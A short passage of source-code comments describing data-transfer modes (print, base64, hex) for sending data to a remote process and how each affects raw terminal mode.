			//         requires a known data length and the command will fail
			//         without it.
			//     - print -> the data is unchanged, but the controlling
			//         terminal is not changed to raw mode. Only printable 
			//         data is safe from TTY translation.
			//     - base64 -> all data is converted from base64. Data sent
			//         to the remote process should be in  base64 form, and the
			//         tty is not set to raw mode.
			//     - hex -> same as base64, but base16 instead.
